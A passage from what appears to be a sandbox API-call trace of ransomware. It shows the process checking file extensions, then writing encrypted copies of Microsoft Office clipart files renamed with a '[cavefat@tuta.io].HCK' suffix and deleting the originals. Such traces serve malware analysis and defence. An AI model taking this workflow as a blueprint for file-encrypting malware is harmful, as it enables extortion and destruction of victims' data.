Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".zip") returned 4 [0156.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.398] lstrlenW (lpString=".rar") returned 4 [0156.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".bz2") returned 4 [0156.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".7z") returned 3 [0156.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".dbf") returned 4 [0156.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".1cd") returned 4 [0156.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".jpg") returned 4 [0156.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".doc") returned 4 [0156.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".docx") returned 5 [0156.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.398] lstrlenW (lpString=".pdf") returned 4 [0156.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".xls") returned 4 [0156.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.398] lstrlenW (lpString=".xlsx") returned 5 [0156.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.399] lstrlenW (lpString=".ppt") returned 4 [0156.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.399] lstrlenW (lpString=".zip") returned 4 [0156.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.399] lstrlenW (lpString=".rar") returned 4 [0156.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.399] lstrlenW (lpString=".bz2") returned 4 [0156.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.399] lstrlenW (lpString=".7z") returned 3 [0156.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.399] lstrlenW (lpString=".dbf") returned 4 [0156.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.399] lstrlenW (lpString=".1cd") returned 4 [0156.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.399] lstrlenW (lpString=".jpg") returned 4 [0156.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.399] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.399] lstrlenW (lpString="BL00648_.WMF") returned 12 [0156.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.399] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11500) returned 1 [0156.399] CloseHandle (hObject=0x30c) returned 1 [0156.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0156.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.400] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.400] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.400] GetLastError () returned 0x0 [0156.400] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2cec, lpOverlapped=0x0) returned 1 [0156.402] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0156.403] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.403] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.403] SetEndOfFile (hFile=0x2f0) returned 1 [0156.403] CloseHandle (hObject=0x2f0) returned 1 [0156.404] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.404] SetEndOfFile (hFile=0x30c) returned 1 [0156.405] CloseHandle (hObject=0x30c) returned 1 [0156.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0156.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.405] lstrlenW (lpString=".doc") returned 4 [0156.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.405] lstrlenW (lpString=".docx") returned 5 [0156.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.405] lstrlenW (lpString=".pdf") returned 4 [0156.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".xls") returned 4 [0156.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.406] lstrlenW (lpString=".xlsx") returned 5 [0156.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.406] lstrlenW (lpString=".ppt") returned 4 [0156.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".zip") returned 4 [0156.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.406] lstrlenW (lpString=".rar") returned 4 [0156.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".bz2") returned 4 [0156.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".7z") returned 3 [0156.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".dbf") returned 4 [0156.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".1cd") returned 4 [0156.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".jpg") returned 4 [0156.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".doc") returned 4 [0156.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".docx") returned 5 [0156.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.406] lstrlenW (lpString=".pdf") returned 4 [0156.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".xls") returned 4 [0156.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.406] lstrlenW (lpString=".xlsx") returned 5 [0156.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.406] lstrlenW (lpString=".ppt") returned 4 [0156.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.406] lstrlenW (lpString=".zip") returned 4 [0156.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.406] lstrlenW (lpString=".rar") returned 4 [0156.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".bz2") returned 4 [0156.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.406] lstrlenW (lpString=".7z") returned 3 [0156.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.407] lstrlenW (lpString=".dbf") returned 4 [0156.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.407] lstrlenW (lpString=".1cd") returned 4 [0156.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0156.407] lstrlenW (lpString=".jpg") returned 4 [0156.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.407] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.407] lstrlenW (lpString="BL00921_.WMF") returned 12 [0156.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.407] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4408) returned 1 [0156.407] CloseHandle (hObject=0x30c) returned 1 [0156.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0156.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.408] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.408] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.408] GetLastError () returned 0x0 [0156.408] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1138, lpOverlapped=0x0) returned 1 [0156.409] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1140, lpOverlapped=0x0) returned 1 [0156.410] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.410] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.410] SetEndOfFile (hFile=0x2f0) returned 1 [0156.410] CloseHandle (hObject=0x2f0) returned 1 [0156.411] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.411] SetEndOfFile (hFile=0x30c) returned 1 [0156.411] CloseHandle (hObject=0x30c) returned 1 [0156.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0156.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.412] lstrlenW (lpString=".doc") returned 4 [0156.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.412] lstrlenW (lpString=".docx") returned 5 [0156.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.412] lstrlenW (lpString=".pdf") returned 4 [0156.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.412] lstrlenW (lpString=".xls") returned 4 [0156.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.412] lstrlenW (lpString=".xlsx") returned 5 [0156.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.412] lstrlenW (lpString=".ppt") returned 4 [0156.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.412] lstrlenW (lpString=".zip") returned 4 [0156.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.412] lstrlenW (lpString=".rar") returned 4 [0156.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.412] lstrlenW (lpString=".bz2") returned 4 [0156.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString=".7z") returned 3 [0156.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".dbf") returned 4 [0156.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".1cd") returned 4 [0156.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".jpg") returned 4 [0156.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".doc") returned 4 [0156.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString=".docx") returned 5 [0156.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.413] lstrlenW (lpString=".pdf") returned 4 [0156.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString=".xls") returned 4 [0156.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.413] lstrlenW (lpString=".xlsx") returned 5 [0156.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.413] lstrlenW (lpString=".ppt") returned 4 [0156.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".zip") returned 4 [0156.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.413] lstrlenW (lpString=".rar") returned 4 [0156.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString=".bz2") returned 4 [0156.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString=".7z") returned 3 [0156.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".dbf") returned 4 [0156.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".1cd") returned 4 [0156.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0156.413] lstrlenW (lpString=".jpg") returned 4 [0156.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.414] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.414] lstrlenW (lpString="BL00923_.WMF") returned 12 [0156.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.414] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6256) returned 1 [0156.414] CloseHandle (hObject=0x30c) returned 1 [0156.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0156.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.414] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.414] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.415] GetLastError () returned 0x0 [0156.415] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1870, lpOverlapped=0x0) returned 1 [0156.966] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1880, lpOverlapped=0x0) returned 1 [0156.975] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.975] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.975] SetEndOfFile (hFile=0x2f0) returned 1 [0156.975] CloseHandle (hObject=0x2f0) returned 1 [0156.976] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.976] SetEndOfFile (hFile=0x30c) returned 1 [0156.977] CloseHandle (hObject=0x30c) returned 1 [0156.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".doc") returned 4 [0156.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".docx") returned 5 [0156.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.978] lstrlenW (lpString=".pdf") returned 4 [0156.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString=".xls") returned 4 [0156.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.978] lstrlenW (lpString=".xlsx") returned 5 [0156.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.978] lstrlenW (lpString=".ppt") returned 4 [0156.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0156.978] lstrlenW (lpString=".zip") returned 4 [0156.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.978] lstrlenW (lpString=".rar") returned 4 [0156.978] lstrcmpiW 